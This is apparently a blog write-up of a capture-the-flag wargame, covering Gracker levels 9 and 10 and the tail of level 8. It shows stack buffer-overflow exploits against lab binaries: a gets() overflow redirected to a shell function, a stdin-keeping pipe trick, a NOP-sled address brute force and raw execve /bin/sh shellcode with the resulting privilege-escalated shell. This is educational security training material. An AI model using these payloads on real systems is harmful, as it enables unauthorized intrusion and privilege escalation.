    0000000af7fcec20ffffda40ffffda38f7fdc5f9343332314141414145444342f7fdc500fffffffff7ffd000f7e3537800fd2000
    You must be an Obj-C programmer. GET OUT OF HERE!
    level8@gracker:/tmp/l8tmp$ python
    Python 2.7.9 (default, Mar  1 2015, 12:57:24)
    [GCC 4.9.2] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> "0000000af7fcec20ffffda40ffffda38f7fdc5f9343332314141414145444342f7fdc500fffffffff7ffd000f7e3537800fd2000".decode("hex")
    '\x00\x00\x00\n\xf7\xfc\xec \xff\xff\xda@\xff\xff\xda8\xf7\xfd\xc5\xf94321AAAAEDCB\xf7\xfd\xc5\x00\xff\xff\xff\xff\xf7\xff\xd0\x00\xf7\xe3Sx\x00\xfd \x00'
                                                                          ^----------^

The test password "1234AAAABCDE" became "4321AAAAEDCB", that's because of the Endianess of the system. And this has to be corrected:

    level8@gracker:/tmp/l8tmp$ ./level8
    What is your name?
    4321AAAAEDCB
    4321AAAAEDCB
    You must be an Obj-C programmer. GET OUT OF HERE!
    level8@gracker:/tmp/l8tmp$
    level8@gracker:/tmp/l8tmp$ ./level8
    What is your name?
    1234AAAABCDE
    1234AAAABCDE
    correct! come in.

Now we know how to interpret the leaked bytes. And we can attack the listening service.

Gracker Level 9

┌───────────────────┐                                                
│ Proof your skills │                                                
└───────────────────┘  
You got the correct password and the security guard is impressed.
He asks you if you got a minute to help him with a problem. He
found a buffer overflow, and can exploit it easily, the problem is
that he can't get a proper shell. It looks like that STDIN closes
after he uses `echo` to construct the exploit string, and thus loosing
access to the shell. Can you show him a trick how he can keep STDIN
alive so that he can use the spawned shell?

This level is very similar to level6, but with one tiny difference, which
might be difficult.

This proved an easier challenge than the previous.

Let's open up GDB and check out these functions

All defined functions:

Non-debugging symbols:
0x0804839c  _init
0x080483d0  setresuid@plt
0x080483e0  printf@plt
0x080483f0  gets@plt
0x08048400  geteuid@plt
0x08048410  getegid@plt
0x08048420  puts@plt
0x08048430  system@plt
0x08048440  __gmon_start__@plt
0x08048450  exit@plt
0x08048460  __libc_start_main@plt
0x08048470  setresgid@plt
0x08048480  _start
0x080484b0  __x86.get_pc_thunk.bx
0x080484c0  deregister_tm_clones
0x080484f0  register_tm_clones
0x08048530  __do_global_dtors_aux
0x08048550  frame_dummy
0x0804857b  spawn_shell
0x080485db  gates_of_arjia
0x08048606  main
0x08048660  __libc_csu_init
0x080486d0  __libc_csu_fini
0x080486d4  _fini

How about the source?

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

// gcc level9.c -fno-stack-protector -z execstack -m32 -o level9

void spawn_shell() {
    printf("Welcome to Arjia City!\n");
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();
    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);
    system("/bin/sh");
}

void gates_of_arjia() {
    char buffer[32];
    gets(buffer);
    printf("Return to: %p\n", __builtin_return_address(0));
}

int main(int argc, char **argv)
{
    printf("Hello, I'm the MCP (Master Control Program). I'm here to protect the TRON system.\n");
    printf("What are you doing here? Are you a user or a program?\n");
    printf("Where did you come from? Proof your identity:\n");
    gates_of_arjia();
    exit(0);
}

So with this now in mind, we just have to run the program and input the address of the spawn_shell method.

Finding the buffer was as easy as spamming as many 'A's until we got it into the return address, using python.

level9@gracker:~$ echo -n "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\{\x85\x04\x08" | /matrix/level9/level9 
Hello, I'm the MCP (Master Control Program). I'm here to protect the TRON system.
What are you doing here? Are you a user or a program?
Where did you come from? Proof your identity:
Return to: 0x804857b
Welcome to Arjia City!
zsh: done                          echo -n "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\{\x85\x04\x08" | 
zsh: illegal hardware instruction  /matrix/level9/level9

This is odd... We are unable to access it. Seems like this is not completely the case as Level 6 as it said. Also it seemed to have a certain restriction on the hex value of 0x7b, which meant I had to manually add it as \{, which allowed me to have it as a hex value. It seemed it be a minor format string.

We got into Arjia City, but not completely. Let's read that description again.

It looks like that STDIN closes
after he uses `echo` to construct the exploit string, and thus loosing
access to the shell. Can you show him a trick how he can keep STDIN
alive so that he can use the spawned shell?

It seems like this is the point of the challenge. After doing research, I found our solution.

After running this command:

{ echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\{\x85\x04\x08"; cat; } | /matrix/level9/level9

I am able to access the flag!

Gracker Level 10

    level10@gracker:/matrix/level10$ gdb level10
    GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
    Reading symbols from level10...(no debugging symbols found)...done.
    (gdb) set disassembly-flavor intel
    (gdb) r
    Starting program: /matrix/level10/level10
                              ,               ,
      Eevee                   \.           .'/
           :L73               \  \ .---. .-' /
      ┃ HP:============        '. '     `\_.'
      ┗━━━━━━━━━━━━━━━━━━►       | 0, 0  |     ,
                                 (  __   /   .' \
                                .''.___.'--,/\_,|
                               {  /     \   }   |
                                '.\     /_.'    /
                                 |'-.-',  `; _.'
                                 |  |  |   |`
          .-. \_/ .-.            `""`""`"""`
          \.-\/=\/.-/             Kakuna
       '-./         \.-'           :L12          ┃
      .--|          |--.        HP:============  ┃
     (((_)\         /(_)))            42/42      ┃
      `\ \_`-.   .-'_/ /`_    ◄━━━━━━━━━━━━━━━━━━┛
        '.__       __.'(_))
            /     \     //
           |       |__.'/
    ◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
    ┃                       ┃                    ┃
    ┃                       ┃ 1) FIGHT   2) PkMn ┃
    ┃                       ┃ 3) ITEM    4) RUN  ┃
    ┃                       ┃                    ┃
    ◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
    Select: 1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ◉━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
    ┃                                            ┃
    ┃ Kakuna attacks Eevee but miss.             ┃
    ┃ Eeve attacks Kakuna, but misses.           ┃
    ┃                                            ┃
    ◉━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛


Because of the loop we will not easily return from the game-loop function. That's why we have to choose RUN as an option to return, after we smashed the stack.


                          ,               ,
      Eevee                   \.           .'/
           :L73               \  \ .---. .-' /
      ┃ HP:============        '. '     `\_.'
      ┗━━━━━━━━━━━━━━━━━━►       | 0, 0  |     ,
                                 (  __   /   .' \
                                .''.___.'--,/\_,|
                               {  /     \   }   |
                                '.\     /_.'    /
                                 |'-.-',  `; _.'
                                 |  |  |   |`
          .-. \_/ .-.            `""`""`"""`
          \.-\/=\/.-/             Kakuna
       '-./         \.-'           :L12          ┃
      .--|          |--.        HP:============  ┃
     (((_)\         /(_)))            42/42      ┃
      `\ \_`-.   .-'_/ /`_    ◄━━━━━━━━━━━━━━━━━━┛
        '.__       __.'(_))
            /     \     //
           |       |__.'/
    ◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
    ┃                       ┃                    ┃
    ┃                       ┃ 1) FIGHT   2) PkMn ┃
    ┃                       ┃ 3) ITEM    4) RUN  ┃
    ┃                       ┃                    ┃
    ◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
    Select: 4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ◉━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
    ┃                                            ┃
    ┃ You run away!                              ┃
    ┃                                            ┃
    ┃                                            ┃
    ◉━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

    Program received signal SIGSEGV, Segmentation fault.
    0x41414141 in ?? ()
    (gdb) info registers
    eax            0x1e2    482
    ecx            0xffffffff   -1
    edx            0xf7fc9878   -134440840
    ebx            0xf7fc8000   -134447104
    esp            0xffffdc50   0xffffdc50
    ebp            0x41414141   0x41414141
    esi            0x0  0
    edi            0x0  0
    eip            0x41414141   0x41414141
    eflags         0x10282  [ SF IF RF ]
    cs             0x23 35
    ss             0x2b 43
    ds             0x2b 43
    es             0x2b 43
    fs             0x0  0
    gs             0x63 99

EIP is overwritten. So let's find the correct offset. And use the first input to smash the stack, and in the second loop we enter "4" to return:

    (gdb) r
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y
    Starting program: /matrix/level10/level10
                              ,               ,
      Eevee                   \.           .'/
           :L73               \  \ .---. .-' /
      ┃ HP:============        '. '     `\_.'
      ┗━━━━━━━━━━━━━━━━━━►       | 0, 0  |     ,
                                 (  __   /   .' \
                                .''.___.'--,/\_,|
                               {  /     \   }   |
                                '.\     /_.'    /
                                 |'-.-',  `; _.'
                                 |  |  |   |`
          .-. \_/ .-.            `""`""`"""`
          \.-\/=\/.-/             Kakuna
       '-./         \.-'           :L12          ┃
      .--|          |--.        HP:============  ┃
     (((_)\         /(_)))            42/42      ┃
      `\ \_`-.   .-'_/ /`_    ◄━━━━━━━━━━━━━━━━━━┛
        '.__       __.'(_))
            /     \     //
           |       |__.'/
    ◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
    ┃                       ┃                    ┃
    ┃                       ┃ 1) FIGHT   2) PkMn ┃
    ┃                       ┃ 3) ITEM    4) RUN  ┃
    ┃                       ┃                    ┃
    ◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
    Select: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO
                              ,               ,
      Eevee                   \.           .'/
           :L73               \  \ .---. .-' /
      ┃ HP:============        '. '     `\_.'
      ┗━━━━━━━━━━━━━━━━━━►       | 0, 0  |     ,
                                 (  __   /   .' \
                                .''.___.'--,/\_,|
                               {  /     \   }   |
                                '.\     /_.'    /
                                 |'-.-',  `; _.'
                                 |  |  |   |`
          .-. \_/ .-.            `""`""`"""`
          \.-\/=\/.-/             Kakuna
       '-./         \.-'           :L12          ┃
      .--|          |--.        HP:============  ┃
     (((_)\         /(_)))            42/42      ┃
      `\ \_`-.   .-'_/ /`_    ◄━━━━━━━━━━━━━━━━━━┛
        '.__       __.'(_))
            /     \     //
           |       |__.'/
    ◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
    ┃                       ┃                    ┃
    ┃                       ┃ 1) FIGHT   2) PkMn ┃
    ┃                       ┃ 3) ITEM    4) RUN  ┃
    ┃                       ┃                    ┃
    ◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
    Select: 4
    ◉━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
    ┃                                            ┃
    ┃ You run away!                              ┃
    ┃                                            ┃
    ┃                                            ┃
    ◉━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛

    Program received signal SIGSEGV, Segmentation fault.
    0x48484848 in ?? ()

0x48484848 which is "HHHH"

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO
-------- offset: 28chars ---^^^^

Let's have a look at the stack after the gets(). As you can see we have quite some nops in there already. But it will be difficult to hit it, because the stack moves around a lot depending on environment variables and other crap on the stack.

    (gdb) x/100x 0xffffdc00
    0xffffdc00: 0x00000000  0x00000000  0xffffdc28  0x080484a3
    0xffffdc10: 0x08048da4  0x00000000  0xffffdc48  0x080484cf
    0xffffdc20: 0xffffdc30  0x002c307d  0xffffdc48  0x08048510
    0xffffdc30: 0x41410034  0x41414141  0x41414141  0x41414141
    0xffffdc40: 0x41414141  0x41414141  0x41414141  0xffffdd00
    0xffffdc50: 0x90909090  0x90909090  0x90909090  0x90909090
    0xffffdc60: 0x90909090  0x90909090  0x90909090  0x90909090
    0xffffdc70: 0x90909090  0x90909090  0x90909090  0x90909090
    0xffffdc80: 0x90909090  0x90909090  0x90909090  0x90909090
    0xffffdc90: 0x90909090  0x90909090  0x90909090  0x90909090
    0xffffdca0: 0x90909090  0x90909090  0x90909090  0x90909090
    0xffffdcb0: 0x90909090  0x90909090  0x90909090  0x90909090
    0xffffdcc0: 0x90909090  0x90909090  0x90909090  0x90909090
    0xffffdcd0: 0x580b6acc  0x68665299  0xe189702d  0x68686a52 << cc is trap
    0xffffdce0: 0x7361622f  0x69622f68  0x52e3896e  0xe1895351
    0xffffdcf0: 0x080080cd  0xf7feb130  0xffffdcfc  0x0000001c
    0xffffdd00: 0x00000001  0xffffde2e  0x00000000  0xffffde3b
    0xffffdd10: 0xffffde4a  0xffffde5d  0xffffde6e  0xffffde78

Because we don't know exactly where the stack will be without gdb,
we can start with one address and slowly move the stack address 0x20 upwards. Until we hit the trace trap.

                                                                                 change offset
    ...                                                                               vv
    (python -c 'import struct; x=lambda i: struct.pack("I",i); print "A"*28+x(0xffffde00)+"\x90"*128+"\xcc"; print "4"'; echo "id") | env -i ./level10
    (python -c 'import struct; x=lambda i: struct.pack("I",i); print "A"*28+x(0xffffde20)+"\x90"*128+"\xcc"; print "4"'; echo "id") | env -i ./level10
    (python -c 'import struct; x=lambda i: struct.pack("I",i); print "A"*28+x(0xffffde40)+"\x90"*128+"\xcc"; print "4"'; echo "id") | env -i ./level10
    (python -c 'import struct; x=lambda i: struct.pack("I",i); print "A"*28+x(0xffffde60)+"\x90"*128+"\xcc"; print "4"'; echo "id") | env -i ./level10
    (python -c 'import struct; x=lambda i: struct.pack("I",i); print "A"*28+x(0xffffde80)+"\x90"*128+"\xcc"; print "4"'; echo "id") | env -i ./level10

    zsh: broken pipe  ( python -c ; echo "id"; ) |
    zsh: trace trap   env -i ./level10

We hit the trace trap. Now we can place shellcode there:

    level10@gracker:/matrix/level10$ (python -c 'import struct; x=lambda i: struct.pack("I",i); print "A"*28+x(0xffffde80)+"\x90"*128+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3x52\x51\x53\x89\xe1\xcd\x80"; print "4"'; cat) | env -i ./level10
                          ,               ,
  Eevee                   \.           .'/
       :L73               \  \ .---. .-' /
  ┃ HP:============        '. '     `\_.'
  ┗━━━━━━━━━━━━━━━━━━►       | 0, 0  |     ,
                             (  __   /   .' \
                            .''.___.'--,/\_,|
                           {  /     \   }   |
                            '.\     /_.'    /
                             |'-.-',  `; _.'
                             |  |  |   |`
      .-. \_/ .-.            `""`""`"""`
      \.-\/=\/.-/             Kakuna
   '-./         \.-'           :L12          ┃
  .--|          |--.        HP:============  ┃
 (((_)\         /(_)))            42/42      ┃
  `\ \_`-.   .-'_/ /`_    ◄━━━━━━━━━━━━━━━━━━┛
    '.__       __.'(_))
        /     \     //
       |       |__.'/
◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
┃                       ┃                    ┃
┃                       ┃ 1) FIGHT   2) PkMn ┃
┃                       ┃ 3) ITEM    4) RUN  ┃
┃                       ┃                    ┃
◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
Select:                           ,               ,
  Eevee                   \.           .'/
       :L73               \  \ .---. .-' /
  ┃ HP:============        '. '     `\_.'
  ┗━━━━━━━━━━━━━━━━━━►       | 0, 0  |     ,
                             (  __   /   .' \
                            .''.___.'--,/\_,|
                           {  /     \   }   |
                            '.\     /_.'    /
                             |'-.-',  `; _.'
                             |  |  |   |`
      .-. \_/ .-.            `""`""`"""`
      \.-\/=\/.-/             Kakuna
   '-./         \.-'           :L12          ┃
  .--|          |--.        HP:============  ┃
 (((_)\         /(_)))            42/42      ┃
  `\ \_`-.   .-'_/ /`_    ◄━━━━━━━━━━━━━━━━━━┛
    '.__       __.'(_))
        /     \     //
       |       |__.'/
◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
┃                       ┃                    ┃
┃                       ┃ 1) FIGHT   2) PkMn ┃
┃                       ┃ 3) ITEM    4) RUN  ┃
┃                       ┃                    ┃
◉━━━━━━━━━━━━━━━━━━━━━━━◉━━━━━━━━━━━━━━━━━━━━◉
Select: ◉━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃                                            ┃
┃ You run away!                              ┃
┃                                            ┃
┃                                            ┃
◉━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
id
uid=1010(level10) gid=1010(level10) euid=1011(level11) groups=1010(level10)

Published January 01, 2023, by ZyphenSVC.

If you enjoyed the post, consider sharing it!

Tweet


Copyright © 2024 Sriaditya Vedantam. Site source on GitHub.